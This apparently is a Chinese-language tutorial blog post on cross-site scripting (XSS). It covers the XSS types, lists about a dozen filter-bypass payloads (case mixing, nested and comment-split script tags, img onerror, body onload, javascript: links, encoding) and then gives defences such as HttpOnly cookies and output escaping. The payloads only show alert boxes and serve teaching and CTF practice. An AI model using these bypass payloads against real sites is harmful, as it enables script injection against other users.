XSS概念以及一些绕过方式

XSS概念

    指前端代码不严谨,导致解析时出现漏洞,致使攻击者可以往Web页面里插入恶意html代码,当用户浏览该页时,嵌入其中Web里面的html代码会被执行,达到恶意的目的。攻击者利用WEB漏洞让服务器响应包携带恶意js代码导致管理员/用户访问时触发

XSS类型

  1. 反射型:把用户输入的数据反射给浏览器,欺骗用户自己去点击链接才能触发XSS代码,一般出现在搜索页面,提交按钮等。
  2. 存储型:一般会出现在网站的留言、评论、博客日志等交互处。恶意脚本被储存在客户端或者服务器的数据库中,当其他用户浏览该网页的时候,站点即从数据库中读取恶意用户存入的非法数据。
  3. DOM:特殊的反射型。客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据本地执行。利用非法输入来闭合对应的html标签,例:<a href='$var'></a>将$var的内容变为 ’ οnclick=’alert(/xss/) //。

XSS绕过方法及思路

  1. 修改前端代码:如闭合标签属性<input value=“”> xss-ctf.xiejiahe.com/level1?name=可以通过拼接“>来闭合input标签在后面加上<script>标签构造事件。
  2. 大小写:SCRIPT>aLeRT(1111)</sCRIpt>
  3. 拼接(遇到删除标签情况):<scri<script>pt>alert(111)</scri</script>pt>
  4. 注释:<scri<!--1-->pt>alert()</sc <!--1--> ript>
  5. 双写:oonnclick=alert()
  6. 实体字符:hackbar中的实体字符转换器把字符串实体化(当传递的代码被当成字符串时
  7. 单词拼接:单词过滤可以尝试用+进行过滤比如on过滤变成o_n,可以尝试"o"+"n"
  8. <a>标签内URL超链接:<a href=javascript:alert()> 1 </a>
  9. IMG标签:<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
  10. ERROR事件:<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>
  11. Body标签:<BODY ONLOAD=alert('XSS')>
  12. 抓包重放
  13. 编码绕过(下面)

 

思路:防御规则是死的。XSS绕过根据实际情况,灵活使用各种方法变形绕过才是王道。

编码绕过

Javascript可以使用多种编码方式,如16进制、Unicode、HTML等进行编码。以下属性亲测支持编码:

href=

action=

name=

background=

src=

data=

 

防御

对字符实体进行转义、使用HTTP Only来禁止JavaScript读取 Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

HttpOnly:

 如果为Cookie中用于用户认证的关键值设置httponly属性,浏览器将会禁止js通 过同源策略访问cookie中设有httponly属性的信息,因此以劫持用户认证cookie为目 的XSS攻击将会失败。

对输入和URL参数进行过滤:

白名单和黑名单

对输出进行编码:

htmlspecialchars()函数把预定义的字符转换为HTML实体。

< 转成 &lt;

> 转成 &gt;

& 转成 &amp;

" 转成 &quot;

 ' 转成 &#39

javascript事件:

除了上面的那些转义之外,还要附加上下面的转义:

 \ 转成 \\

/ 转成 \/

 ; 转成 ;(全角;)

绕过方式参考地址:

https://www.fujieace.com/penetration-test/xss-100.html

构造语句:

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值